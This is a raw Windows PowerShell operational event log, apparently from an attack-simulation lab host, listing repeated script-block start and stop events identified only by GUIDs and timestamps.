Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049806
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049805
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049800
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049799
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049777
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049776
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049775
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049774
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
